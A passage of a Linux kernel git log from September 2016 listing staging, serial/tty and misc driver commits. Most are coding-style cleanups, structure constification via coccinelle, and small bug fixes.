Sun Sep 25 22:33:34 2016 -0500 Staging: android: fixed permissions style issue Fixed a coding style issue. Changed symbolic permissions to octal. Signed-off-by: Eric Salem Signed-off-by: Greg Kroah-Hartman drivers/staging/android/lowmemorykiller.c | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) commit 896075a684a91ac8282c36bf5cc43c3feeec5623 Author: Grygorii Maistrenko Date: Mon Sep 26 19:56:28 2016 +0300 staging: slicoss: cleaning up codestyle warnings This removes checkpatch.pl warnings: WARNING: Block comments should align the * on each line Signed-off-by: Grygorii Maistrenko Signed-off-by: Greg Kroah-Hartman drivers/staging/slicoss/slic.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit af2708f5e8a82ddad80ff3f32102defd4ffd87d7 Author: Bhumika Goyal Date: Tue Sep 27 14:47:12 2016 +0530 Staging: most: aim-v4l2: constify v4l2_file_operations structures Check for v4l2_file_operations structures that are only stored in the fops field of video_device structures. As this field is constant, so v4l2_file_operations structures having this property can also be declared constant. Done using coccinelle: @r1 disable optional_qualifier @ identifier i; position p; @@ static struct v4l2_file_operations i@p = {...}; @ok1@ identifier r1.i; position p; struct video_device x; @@ x.fops=&i@p; @bad@ position p!={r1.p,ok1.p}; identifier r1.i; @@ i@p @depends on !bad disable optional_qualifier@ identifier r1.i; @@ static +const struct v4l2_file_operations i={...}; @depends on !bad disable optional_qualifier@ identifier r1.i; @@ +const struct v4l2_file_operations i; File size before: text data bss dec hex filename 5608 160 4 5772 168c drivers/staging/most/aim-v4l2/video.o File size after: text data bss dec hex filename 5696 96 4 5796 16a4 drivers/staging/most/aim-v4l2/video.o Signed-off-by: Bhumika Goyal Signed-off-by: Greg Kroah-Hartman drivers/staging/most/aim-v4l2/video.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit cfb459edaa91d624e42a959f0356d341a3347c76 Author: Bhumika Goyal Date: Mon Sep 26 23:09:03 2016 +0530 Staging: most: aim-sound: constify snd_pcm_ops structures Check for snd_pcm_ops structures that are only passed as the third argument to the function snd_pcm_set_ops. As this argument is constant, so snd_pcm_ops structures having this property can also be made constant. Done using coccinelle: @r1 disable optional_qualifier @ identifier i; position p; @@ static struct snd_pcm_ops i@p = {...}; @ok1@ identifier r1.i; position p; expression e1,e2; @@ snd_pcm_set_ops(e1,e2,&i@p) @bad@ position p!={r1.p,ok1.p}; identifier r1.i; @@ i@p @depends on !bad disable optional_qualifier@ identifier r1.i; @@ static +const struct snd_pcm_ops i={...}; @depends on !bad disable optional_qualifier@ identifier r1.i; @@ +const struct snd_pcm_ops i; File size before: text data bss dec hex filename 4963 192 16 5171 1433 drivers/staging/most/aim-sound/sound.o File size after: text data bss dec hex filename 5075 64 16 5155 1423 drivers/staging/most/aim-sound/sound.o Signed-off-by: Bhumika Goyal Signed-off-by: Greg Kroah-Hartman drivers/staging/most/aim-sound/sound.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ca8b3fa7ea44738f02979dfdc72a1d75a27dcddb Author: Wei Yongjun Date: Sun Sep 25 15:41:11 2016 +0000 staging: most: fix error return code in audio_probe_channel() Fix to return a negative error code from the audio_set_hw_params() error handling case instead of 0, as done elsewhere in this function. Signed-off-by: Wei Yongjun Signed-off-by: Andrey Shvetsov Signed-off-by: Christian Gromm Signed-off-by: Greg Kroah-Hartman drivers/staging/most/aim-sound/sound.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 264f7b8ac3ec3e7a38affd8140da30f8720b5946 Author: David Binder Date: Mon Sep 26 11:03:49 2016 -0400 staging: unisys: visorbus: Convert visorchannel_signalinsert() return val Per Documentation/CodingStyle, function names that convey an action or an imperative command should return an integer. This commit converts the visorbus API function, visorchannel_signalinsert(), to returning integer values. All uses of this function are updated accordingly. Signed-off-by: David Binder Signed-off-by: David Kershner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/include/visorbus.h | 4 ++-- drivers/staging/unisys/visorbus/visorchannel.c | 8 ++++---- drivers/staging/unisys/visorbus/visorchipset.c | 16 ++++++++-------- drivers/staging/unisys/visorhba/visorhba_main.c | 12 ++++++------ drivers/staging/unisys/visornic/visornic_main.c | 16 ++++++++-------- 5 files changed, 28 insertions(+), 28 deletions(-) commit f621a96850c262b7de42bd06eae4edd5bfd099d8 Author: David Binder Date: Mon Sep 26 11:03:48 2016 -0400 staging: unisys: visorbus: Convert visorchannel_signalremove() return val Per Documentation/CodingStyle, function names that convey an action or an imperative command should return an integer. This commit converts the visorbus API function, visorchannel_signalremove(), to returning integer values. All uses of this function are updated accordingly. Signed-off-by: David Binder Signed-off-by: David Kershner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/include/visorbus.h | 4 ++-- drivers/staging/unisys/visorbus/visorchannel.c | 8 ++++---- drivers/staging/unisys/visorbus/visorchipset.c | 10 +++++----- drivers/staging/unisys/visorhba/visorhba_main.c | 6 +++--- drivers/staging/unisys/visorinput/visorinput.c | 2 +- drivers/staging/unisys/visornic/visornic_main.c | 12 ++++++------ 6 files changed, 21 insertions(+), 21 deletions(-) commit 1306c429e2ce16d988a214456942b08f709a3e84 Author: David Binder Date: Mon Sep 26 11:03:47 2016 -0400 staging: unisys: visorbus: Change support functions to integer return vals Per Documentation/CodingStyle, function names that convey an action or an imperative command should return an integer value. This commit changes several functions and a macro, internal to visorchannel.c, to follow this paradigm. These changes will be necessary later on to change other functions in this file, which are part of the visorbus API, to return integer values in lieu of a boolean. Signed-off-by: David Binder Signed-off-by: David Kershner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchannel.c | 114 ++++++++++++------------- 1 file changed, 57 insertions(+), 57 deletions(-) commit bff8c1a1604a73ce0e6d5182e441b97be563fcd4 Author: Jon Frisch Date: Mon Sep 26 11:03:46 2016 -0400 staging: unisys: make MODULE_DESCRIPTIONs consistent This patch ensures that consistent verbiage is used in the MODULE_DESCRIPTION text (reported by 'modinfo') for all of the Unisys s-Par drivers. Signed-off-by: Jon Frisch Signed-off-by: David Kershner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 2 +- drivers/staging/unisys/visorhba/visorhba_main.c | 2 +- drivers/staging/unisys/visorinput/visorinput.c | 2 +- drivers/staging/unisys/visornic/visornic_main.c | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) commit 20cba4a6bbef122e17c52d687e9a674dcf6ff6b0 Author: Jon Frisch Date: Mon Sep 26 11:03:45 2016 -0400 staging: unisys: remove version.h This patch removes version.h and the last version.h include in visorchannel.c. Signed-off-by: Jon Frisch Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/include/version.h | 45 -------------------------- drivers/staging/unisys/visorbus/visorchannel.c | 1 - 2 files changed, 46 deletions(-) commit deafd1855343a76dd1faf7f1b6bd469873063f71 Author: Jon Frisch Date: Mon Sep 26 11:03:44 2016 -0400 staging: unisys: visornic: remove driver version from visornic_main.c This patch removes the driver version from visornic_main.c Signed-off-by: Jon Frisch Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visornic/visornic_main.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 87932da6d3fe706be83033a421bd353f3606c7c7 Author: Jon Frisch Date: Mon Sep 26 11:03:43 2016 -0400 staging: unisys: visorinput: remove driver version from visorinput.c This patch removes the driver version and the version.h include from visorinput.c Signed-off-by: Jon Frisch Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorinput/visorinput.c | 2 -- 1 file changed, 2 deletions(-) commit beedcc51b417126765cd0a8fc9b089b9bea58f08 Author: Jon Frisch Date: Mon Sep 26 11:03:42 2016 -0400 staging: unisys: visorbus: remove driver version from visorchipset.c This patch removes the driver version and the version.h include from visorchipset.c Signed-off-by: Jon Frisch Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit e82ed633eb814f25861d8942ed33881e4b36d5c4 Author: Jon Frisch Date: Mon Sep 26 11:03:41 2016 -0400 staging: unisys: remove driver version from struct visor_driver This patch removes the all instances of the driver version from struct visor_driver. This includes removing version, vertag (a human readable version string of the driver version) and version_attr from struct visor_driver. This resulted in removing the bus attributes and driver attributes which only contained the driver version. The utsname function is used to replace the driver version with the kernel version in bus_device_info_init(). Signed-off-by: Jon Frisch Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/include/visorbus.h | 6 -- drivers/staging/unisys/visorbus/vbuschannel.h | 3 +- drivers/staging/unisys/visorbus/visorbus_main.c | 76 +--------------------- drivers/staging/unisys/visorbus/visorbus_private.h | 12 ++-- drivers/staging/unisys/visorinput/visorinput.c | 1 - drivers/staging/unisys/visornic/visornic_main.c | 2 - 6 files changed, 8 insertions(+), 92 deletions(-) commit 2460563fb490b8061d614f99b1ce1a470fde4913 Author: Matt Kilgore Date: Tue Sep 27 02:05:44 2016 -0400 staging: ks7010: Use __packed over __attribute__((packed)) This replaces uses of __attribute__((packed)) with __packed, which is recommended to be used over the direct __attribute__. This patch then includes as necessary to use __packed. Signed-off-by: Matthew Kilgore Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/eap_packet.h | 10 ++-- drivers/staging/ks7010/ks_hostif.h | 99 +++++++++++++++++++------------------ drivers/staging/ks7010/ks_wlan.h | 4 +- 3 files changed, 59 insertions(+), 54 deletions(-) commit 9887b5e51fafaf919601ccb8bdae1e0ad749032f Author: Sabitha George Date: Mon Sep 26 22:40:16 2016 +0530 staging: ks7010: Fix warnings on printk() usage This patch fixes the following warnings on ks7010_sdio.c 1. printk() should include KERN_ facility level 2. Prefer [subsystem eg: netdev]_err([subsystem]dev, ... then dev_err(dev, ... then pr_err(... to printk(KERN_ERR ... Signed-off-by: Sabitha George Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks7010_sdio.c | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) commit 03806ab307c369b2598097a12c9ceed245f9ade0 Author: Georgiana Rodica Chelu Date: Mon Sep 26 14:07:52 2016 +0300 staging: ks7010: ks_wlan_net: Use netdev_info instead of printk Pass the net_device structure to print_hif_event function in order to use netdev_info instead of printk. Signed-off-by: Georgiana Rodica Chelu Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks_wlan_net.c | 76 ++++++++++++++++++------------------ 1 file changed, 38 insertions(+), 38 deletions(-) commit c8be6461054c8c1f536e3085b15b539c1a9c4c7e Author: Georgiana Rodica Chelu Date: Mon Sep 26 11:15:56 2016 +0300 staging: ks7010: ks_wlan_net: Use netdev_ instead of printk The checkpatch.pl script found the following warning: WARNING: printk() should include KERN_ facility level After adding the KERN_ facility level to printk(), the script showed another warning: WARNING: Prefer [subsystem eg: netdev]_info([subsystem]dev, ... then dev_info(dev, ... then pr_info(... to printk(KERN_INFO ... The warning is similar for KERN_ERR and KERN_DEBUG. In conclusion, use netdev_info(), netdev_err() or netdev_dbg() when there is a netdev device. Signed-off-by: Georgiana Rodica Chelu Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks_wlan_net.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) commit 58fce732f02a198dbf55708d8221efc292e948b7 Author: Bhumika Goyal Date: Mon Sep 26 10:31:39 2016 +0530 Staging: iio: light: constify attribute_group structures Check for attribute_group structures that are only stored in the attrs filed of iio_info structure. As the attrs field of iio_info structures is constant, so these attribute_group structures can also be declared constant. Done using coccinelle @r1 disable optional_qualifier @ identifier i; position p; @@ static struct attribute_group i@p = {...}; @ok1@ identifier r1.i; position p; struct iio_info x; @@ x.attrs=&i@p; @bad@ position p!={r1.p,ok1.p}; identifier r1.i; @@ i@p @depends on !bad disable optional_qualifier@ identifier r1.i; @@ static +const struct attribute_group i={...}; @depends on !bad disable optional_qualifier@ identifier r1.i; @@ +const struct attribute_group i; File size before: drivers/staging/iio/light/tsl2583.o text data bss dec hex filename 6529 1052 0 7581 1d9d drivers/staging/iio/light/tsl2583.o File size after: drivers/staging/iio/light/tsl2583.o text data bss dec hex filename 6593 988 0 7581 1d9d drivers/staging/iio/light/tsl2583.o Signed-off-by: Bhumika Goyal Signed-off-by: Greg Kroah-Hartman drivers/staging/iio/light/tsl2583.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1ed90ff342b6513f310d39c1c3e0cf341ec4698d Author: Bhumika Goyal Date: Mon Sep 26 10:31:38 2016 +0530 Staging: iio: adc: constify attribute_group structures Check for attribute_group structures that are only stored in the attrs filed of iio_info structure. As the attrs field of iio_info structures is constant, so these attribute_group structures can also be declared constant. Done using coccinelle: @r1 disable optional_qualifier @ identifier i; position p; @@ static struct attribute_group i@p = {...}; @ok1@ identifier r1.i; position p; struct iio_info x; @@ x.attrs=&i@p; @bad@ position p!={r1.p,ok1.p}; identifier r1.i; @@ i@p @depends on !bad disable optional_qualifier@ identifier r1.i; @@ static +const struct attribute_group i={...}; @depends on !bad disable optional_qualifier@ identifier r1.i; @@ +const struct attribute_group i; File size before: drivers/staging/iio/adc/ad7280a.o text data bss dec hex filename 6487 584 776 7847 1ea7 drivers/staging/iio/adc/ad7280a.o File size after: drivers/staging/iio/adc/ad7280a.o text data bss dec hex filename 6551 544 776 7871 1ebf drivers/staging/iio/adc/ad7280a.o Signed-off-by: Bhumika Goyal Acked-by: Lars-Peter Clausen Signed-off-by: Greg Kroah-Hartman drivers/staging/iio/adc/ad7280a.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4ceffe65c3fd79e75f50d4613aaefc00d81e2171 Author: Matias Mucciolo Date: Mon Sep 26 13:13:03 2016 -0300 staging: wilc1000: fix sparse warning: symbol was not declared. Should it be static? - Fixed a sparse warning: wilc_debugfs.c:32:10: warning: symbol 'WILC_DEBUG_LEVEL' was not declared. Should it be static? Signed-off-by: Matias Mucciolo Signed-off-by: Greg Kroah-Hartman drivers/staging/wilc1000/wilc_debugfs.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1c40429dfad97d4e8193603058915182b728c8e9 Author: Bhumika Goyal Date: Mon Sep 26 20:03:06 2016 +0530 Staging: wilc1000: constify cfg80211_ops structures Check for cfg80211_ops structures that are only passed as the first argument to the function wiphy_new. As this argument is constant, so cfg80211_ops structures having this property can also be declared constant. Done using coccinelle: @r1 disable optional_qualifier @ identifier i; position p; @@ static struct cfg80211_ops i@p = {...}; @ok1@ identifier r1.i; position p; expression e1; @@ wiphy_new(&i@p,e1) @bad@ position p!={r1.p,ok1.p}; identifier r1.i; @@ i@p @depends on !bad disable optional_qualifier@ identifier r1.i; @@ static +const struct cfg80211_ops i={...}; @depends on !bad disable optional_qualifier@ identifier r1.i; @@ +const struct cfg80211_ops i; File size before: text data bss dec hex filename 17468 2417 14912 34797 87ed drivers/staging/wilc1000/wilc_wfi_cfgoperations.o File size after: text data bss dec hex filename 18204 1681 14912 34797 87ed drivers/staging/wilc1000/wilc_wfi_cfgoperations.o Signed-off-by: Bhumika Goyal Signed-off-by: Greg Kroah-Hartman drivers/staging/wilc1000/wilc_wfi_cfgoperations.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4a7beb1850d23d8a396d8655195c0e211cdb2221 Author: wang di Date: Mon Sep 26 10:50:50 2016 -0400 staging: lustre: llite: add missing LMV_MAGIC_V1 case The port to upstream dropped handling the LMV_MAGIC_V1 case for ll_dir_getstripe. This adds it back. Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-on: http://review.whamcloud.com/7228 Reviewed-by: Andreas Dilger Reviewed-by: John L. Hammond Reviewed-by: Alex Zhuravlev Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/dir.c | 4 ++++ drivers/staging/lustre/lustre/ptlrpc/pack_generic.c | 1 + 2 files changed, 5 insertions(+) commit 3dd22268d77c012aaad01d3d7d30b4bdd9c4488a Author: Quentin Lambert Date: Tue Sep 27 11:42:08 2016 +0200 greybus: manifest: style fix missing space before '(' Checkpatch printed a style ERROR concerning a missing space before '('. This patch fixes this issue. Signed-off-by: Quentin Lambert Acked-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 659849cdc065c3620e49f9a7dbc384669f4592ab Author: Bryan O'Donoghue Date: Mon Sep 26 18:01:23 2016 +0100 staging: greybus/timesync: avoid divide by zero on X86 Qemu A system configured without CONFIG_CPUFREQ will return 0 for cpufreq_get(). greybus-timesync can subsequently then do a divide-by-zero as result. This patch fixes by checking for a zero return value from cpufreq_get() and setting to a default value of 19.2MHz. Reported-by: Rui Miguel Silva Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/timesync_platform.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit 3d7f3588553a9ee392aa1abb5a3e8fd4b1ba8f5e Author: Chase Metzger Date: Sun Sep 25 13:35:47 2016 -0700 drivers/staging/greybus: gpio.c - Fixed a checkpatch generated warning Removed braces for single line if statement. Signed-off-by: Chase Metzger Acked-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 7224a2a50a29871b2ae04cac731ea199adedbe68 Author: Vaibhav Agarwal Date: Sat Sep 24 23:06:26 2016 +0530 greybus: audio: fix uninitialized variable errors found by cppcheck Currently, if info is null, the dev_err message is dereferencing an uninitialized module pointer. Instead, it should use codec->dev pointer in dev_err call and better align with other err msg in this function. Also, ret variable might be used uninitialized in a specific case. Avoid using it this way. Found using static analysis with cppcheck: Checking drivers/staging/greybus/audio_topology.c... [drivers/staging/greybus/audio_topology.c:175]: (error) Uninitialized variable: module [drivers/staging/greybus/audio_topology.c:495]: (error) Uninitialized variable: ret Reported-by: Colin Ian King Signed-off-by: Vaibhav Agarwal Acked-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_topology.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 35aa33cf0b35af6f2f1d8fb81eea8cf723c65239 Author: Kefeng Wang Date: Sat Sep 24 17:14:24 2016 +0800 tty: amba-pl011: Don't complain on -EPROBE_DEFER when no irq Don't complain on -EPROBE_DEFER when attempting to get the irq. the driver probe will be retried later. Cc: Russell King Cc: Greg Kroah-Hartman Signed-off-by: Kefeng Wang Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/amba-pl011.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit b94b10aaa3532482fdf0e4b4721af4ee61c28281 Author: Thor Thayer Date: Thu Sep 22 14:56:17 2016 -0500 nios2: dts: 10m50: Add tx-threshold parameter The tx-threshold parameter sets the TX FIFO low water threshold trigger for the Altera 16550-FIFO32 soft IP. Signed-off-by: Thor Thayer Signed-off-by: Greg Kroah-Hartman arch/nios2/boot/dts/10m50_devboard.dts | 1 + 1 file changed, 1 insertion(+) commit 8e5470c9839caff94fe334e67ff7e7ace587282a Author: Thor Thayer Date: Thu Sep 22 14:56:16 2016 -0500 serial: 8250: Set Altera 16550 TX FIFO Threshold The Altera 16550 soft IP UART requires 2 additional registers for TX FIFO threshold support. These 2 registers enable the TX FIFO Low Watermark and set the TX FIFO Low Watermark. Set the TX FIFO threshold to the FIFO size - tx_loadsz. Signed-off-by: Thor Thayer Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250_port.c | 43 +++++++++++++++++++++++++++++++++++++ include/uapi/linux/serial_reg.h | 8 +++++++ 2 files changed, 51 insertions(+) commit ffea043965e4634617485b4d313d6c0099d817f0 Author: Thor Thayer Date: Thu Sep 22 14:56:15 2016 -0500 serial: 8250: of: Load TX FIFO Threshold from DT Initialize the tx_loadsz parameter from passed in devicetree tx-threshold parameter. The tx_loadsz is calculated as the number of bytes to fill FIFO when tx-threshold is triggered. Signed-off-by: Thor Thayer Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/8250/8250_of.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 51311eaacd2d3558cfa341e97d7ebffb1cc13cd8 Author: Thor Thayer Date: Thu Sep 22 14:56:14 2016 -0500 Documentation: dt: serial: Add TX FIFO threshold parameter Add the device tree binding needed to support the TX FIFO threshold parameter. Signed-off-by: Thor Thayer Acked-by: Rob Herring Signed-off-by: Greg Kroah-Hartman Documentation/devicetree/bindings/serial/8250.txt | 2 ++ 1 file changed, 2 insertions(+) commit 9f12cea96f47f98d612a0a0b84f950a0163731bf Author: Mark Rutland Date: Mon Sep 26 16:16:18 2016 +0100 drivers/tty: Explicitly pass current to show_stack As noted in commit: 81539169f283329f ("x86/dumpstack: Remove NULL task pointer convention") ... having a NULL task parameter imply current leads to subtle bugs in stack walking code (so far seen on both 86 and arm64), makes callsites harder to read, and is unnecessary as all callers have access to current. As a step towards removing the problematic NULL-implies-current idiom entirely, have the sysrq code explicitly pass current to show_stack. Signed-off-by: Mark Rutland Cc: Ingo Molnar Cc: Jiri Slaby Cc: Josh Poimboeuf Cc: linux-kernel@vger.kernel.org Signed-off-by: Greg Kroah-Hartman drivers/tty/sysrq.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4b75f80003617fe35771a9e27022e8fbd6a41875 Author: Sascha Hauer Date: Mon Sep 26 15:55:31 2016 +0200 serial: imx: Fix DCD reading The USR2_DCDIN bit is tested for in register usr1. As the name suggests the usr2 register should be used instead. This fixes reading the Carrier detect status. Signed-off-by: Sascha Hauer Fixes: 90ebc4838666 ("serial: imx: repair and complete handshaking") Acked-by: Uwe Kleine-König Cc: # 4.5+ Reviewed-by: Fabio Estevam Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/imx.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit b97055bcf17551196a498e624b544c3e9c804ef0 Author: Baoyou Xie Date: Mon Sep 26 19:58:56 2016 +0800 serial: stm32: mark symbols static where possible We get 2 warnings when building kernel with W=1: drivers/tty/serial/stm32-usart.c:63:5: warning: no previous prototype for 'stm32_pending_rx' [-Wmissing-prototypes] drivers/tty/serial/stm32-usart.c:88:15: warning: no previous prototype for 'stm32_get_char' [-Wmissing-prototypes] In fact, these two functions are only used in the file in which they are declared and don't need a declaration, but can be made static. So this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/stm32-usart.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit c41251b17563234371a9b376ed4914efa4bc079b Author: Scott Telford Date: Thu Sep 22 16:58:16 2016 +0100 serial: xuartps: Add some register initialisation to cdns_early_console_setup() Add initialisation of control register and baud rate to cdns_early_console_setup(), required when running kernel standalone without a boot loader. Baud rate is only initialised when specified in earlycon command-line option, otherwise it is assumed this has been set by a boot loader. Updated Documentation/kernel-parameters.txt accordingly. Signed-off-by: Scott Telford Signed-off-by: Greg Kroah-Hartman Documentation/kernel-parameters.txt | 11 ++++++----- drivers/tty/serial/xilinx_uartps.c | 27 ++++++++++++++++++++++++++- 2 files changed, 32 insertions(+), 6 deletions(-) commit 212d249b6acbe00ac3617938433ce785c2d68e88 Author: Nava kishore Manne Date: Thu Sep 22 16:58:15 2016 +0100 serial: xuartps: Removed unwanted checks while reading the error conditions This patch Remove the unwated checks while reading the parity,framing, overrun and Break detection errors. Signed-off-by: Nava kishore Manne Signed-off-by: Michal Simek [stelford@cadence.com: cherry picked from https://github.com/Xilinx/linux-xlnx commit b1cf74970df5470ffbc8e7876a9edf5e3498ef94] Signed-off-by: Scott Telford Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/xilinx_uartps.c | 72 ++++++++++++++++++-------------------- 1 file changed, 35 insertions(+), 37 deletions(-) commit c8dbdc842d30618e4f7e315e3b0e6c43de7915f3 Author: Anirudha Sarangi Date: Thu Sep 22 16:58:14 2016 +0100 serial: xuartps: Rewrite the interrupt handling logic The existing interrupt handling logic has following issues. - Upon a parity error with default configuration, the control never comes out of the ISR thereby hanging Linux. - The error handling logic around framing and parity error are buggy. There are chances that the errors will never be captured. This patch ensures that the status registers are cleared on all cases so that a hang situation never arises. Signed-off-by: Anirudha Sarangi Signed-off-by: Michal Simek [stelford@cadence.com: cherry picked from https://github.com/Xilinx/linux-xlnx commit ac297e20d399850d7a8e373b6eccf2e183c15165 with manual conflict resolution] Signed-off-by: Scott Telford Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/xilinx_uartps.c | 219 +++++++++++++++++++------------------ 1 file changed, 114 insertions(+), 105 deletions(-) commit 8e5481d98bbf1de0ff06a3e488b668572d578e61 Author: Arnd Bergmann Date: Fri Sep 23 21:38:51 2016 +0200 serial: stm32: use mapbase instead of membase for DMA Building this driver with a 64-bit dma_addr_t type results in a compiler warning: drivers/tty/serial/stm32-usart.c: In function 'stm32_of_dma_rx_probe': drivers/tty/serial/stm32-usart.c:746:20: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] drivers/tty/serial/stm32-usart.c: In function 'stm32_of_dma_tx_probe': drivers/tty/serial/stm32-usart.c:818:20: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] While the type conversion here is harmless, this hints at a different problem: we pass an __iomem pointer into a DMA engine, which expects a phys_addr_t. This happens to work because stm32 has no MMU and ioremap() is an identity mapping here, but it's still an incorrect API use. Using dma_addr_t is doubly wrong here, because that would be the result of dma_map_single() rather than the physical address. Using the mapbase instead fixes multiple issues: - the warning is gone - we don't go through ioremap in error - the cast is gone, making it use the correct resource_size_t/phys_addr_t type in the process. Fixes: 3489187204eb ("serial: stm32: adding dma support") Signed-off-by: Arnd Bergmann Reviewed-by: Gerald Baeza Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/stm32-usart.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 36131cdfef5aef7f4a9a36423a7a338bd6f68ad6 Author: Alexey Starikovskiy Date: Wed Sep 21 12:44:14 2016 +0200 tty/serial: atmel: fix fractional baud rate computation The problem with previous code was it rounded values in wrong place and produced wrong baud rate in some cases. Signed-off-by: Alexey Starikovskiy [nicolas.ferre@atmel.com: port to newer kernel and add commit log] Signed-off-by: Nicolas Ferre Reviewed-by: Boris Brezillon Reviewed-by: Uwe Kleine-König Signed-off-by: Greg Kroah-Hartman drivers/tty/serial/atmel_serial.c | 10 ++++++---- include/linux/atmel_serial.h | 1 + 2 files changed, 7 insertions(+), 4 deletions(-) commit c9fef1cc3dd3677633e6fd6ea5bd7ef3b741fab3 Author: Rusk, Mark Date: Mon Sep 19 19:50:01 2016 +0000 drivers/misc/hpilo: Changes to support new security states in iLO5 FW Changes to support new security states of the iLO5 firmware. - use BAR5 for CCB's for iLO5 - simplification of error handling Signed-off-by: Mark Rusk Signed-off-by: David Altobelli Signed-off-by: Greg Kroah-Hartman drivers/misc/hpilo.c | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) commit e7604239c1c56430f1b40ebad161b23d44485c30 Author: Luis R. Rodriguez Date: Tue Sep 6 17:42:06 2016 -0700 MAINTAINERS: extend firmware_class maintainer list I've been reviewing changes proactively, and plan on doing more of this work. I'm doing this early as I should be getting e-mailed about proposed changes. Signed-off-by: Luis R. Rodriguez Acked-by: Ming Lei Signed-off-by: Greg Kroah-Hartman MAINTAINERS | 1 + 1 file changed, 1 insertion(+) commit a1a9e5d29854f69a881b4c1e6ac2d6b54f49dfc6 Author: Eric Engestrom Date: Wed Sep 21 10:27:36 2016 +0100 debugfs: propagate release() call result The result was being ignored and 0 was always returned. Return the actual result instead. Signed-off-by: Eric Engestrom Signed-off-by: Greg Kroah-Hartman fs/debugfs/file.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3936e4c8db2095af5e6c704a3e4b2b500f568ae5 Author: Andy Shevchenko Date: Sun Sep 11 14:58:26 2016 +0300 at25: fix debug and error messaging The patch does the following: - fixes specifiers and removes explicit casting of the parameters - joins literals to one line - increases readability of the parameters Signed-off-by: Andy Shevchenko Signed-off-by: Greg Kroah-Hartman drivers/misc/eeprom/at25.c | 20 +++++++------------- 1 file changed, 7 insertions(+), 13 deletions(-) commit 13decfb4383b13b0f75e88709f4fad9138bd243b Author: Sebastian Ott Date: Mon Sep 12 20:09:40 2016 +0200 misc/genwqe: ensure zero initialization Genwqe uses dma_alloc_coherent and depends on zero initialized memory. On one occasion it ueses an explicit memset on others it uses un-initialized memory. This bug was covered because some archs actually return zero initialized memory when using dma_alloc_coherent but this is by no means guaranteed. Simply switch to dma_zalloc_coherent. Signed-off-by: Sebastian Ott Signed-off-by: Frank Haverkamp Signed-off-by: Greg Kroah-Hartman drivers/misc/genwqe/card_ddcb.c | 2 -- drivers/misc/genwqe/card_utils.c | 4 ++-- 2 files changed, 2 insertions(+), 4 deletions(-) commit db08948b97180a3c9f49ce91caf1fb643a8110be Author: Wei Yongjun Date: Sat Sep 17 01:57:34 2016 +0000 vme: fake: remove unexpected unlock in fake_master_set() image->lock is unlocked in some error handling path without take the lock, so remove those unexpected unlock. Fixes: 658bcdae9c67 ("vme: Adding Fake VME driver") Signed-off-by: Wei Yongjun Signed-off-by: Greg Kroah-Hartman drivers/vme/bridges/vme_fake.c | 3 --- 1 file changed, 3 deletions(-) commit 